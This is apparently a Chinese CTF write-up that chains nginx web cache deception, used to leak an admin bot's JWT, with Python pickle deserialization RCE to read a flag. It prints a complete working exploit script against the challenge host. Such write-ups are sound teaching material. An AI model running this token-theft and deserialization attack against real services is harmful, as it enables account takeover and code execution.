这个有点难,deepseek竟然没扫出来,可惜兄弟可惜
1.信息收集?
有啥信息收集呢?没啥信息收集,直接登录guest

然后api文档,测试了一下

然后有个神秘的report位置

2.漏洞利用
其实这里也有提示nginx1.22,然后/api/profile/.css 实际返回 profile JSON,但被 nginx cache 当作静态资源缓存
所以可以想到构造css去欺骗nginx然后获取admin 的jwt,将构造的路径提交给 admin bot 后,bot 带 admin token 访问,响应被缓存

然后访问对应的路径

拿到admin jwt
然后是Pickle 反序列化,这里同样提示python3.11
构造 pickle RCE 执行 cat /flag.txt 读取 flag
先可以构造测试一下简单的验证 /api/data/import 为 pickle 反序列化

然后就去构造rce执行读取

这里直接贴一下完整的payload吧
import requests
import uuid
import time
import base64
import pickle
import subprocess
BASE = "http://forward.vidar.club:32099"
s = requests.Session()
# 1. guest login
r = s.post(
BASE + "/api/login",
json={"username": "guest", "password": "guest123"},
timeout=10,
)
r.raise_for_status()
guest_token = r.json()["token"]
print("[+] guest token:", guest_token)
# 2. create unique cache-leak path
leak_path = f"/api/profile/cacheleak-{uuid.uuid4().hex}.css"
print("[+] leak path:", leak_path)
# 3. submit report, admin bot will visit this path with admin token
r = s.post(
BASE + "/api/report",
headers={
"Authorization": f"Bearer {guest_token}",
"Content-Type": "application/json",
},
json={"url": leak_path},
timeout=10,
)
print("[+] report:", r.status_code, r.text)
# 4. poll leaked cache without auth
admin_token = None
for i in range(15):
time.sleep(1)
r = s.get(BASE + leak_path, timeout=10)
print("[*] poll", i, r.status_code, r.headers.get("x-cache-status"), r.text[:120])
if r.status_code == 200 and "admin@datacenter.internal" in r.text:
admin_token = r.json()["token"]
break
if not admin_token:
raise RuntimeError("failed to leak admin token")
print("[+] admin token:", admin_token)
# 5. pickle RCE payload
class RCE:
def __reduce__(self):
cmd = ["/bin/sh", "-c", "cat /flag.txt 2>/dev/null || cat /flag 2>/dev/null"]
return (subprocess.check_output, (cmd,))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
# 6. trigger deserialization as admin
r = s.post(
BASE + "/api/data/import",
headers={
"Authorization": f"Bearer {admin_token}",
"Content-Type": "application/json",
},
json={"data": payload},
timeout=10,
)
print("[+] import response:")
print(r.text)
然后获取最终flag


Comments NOTHING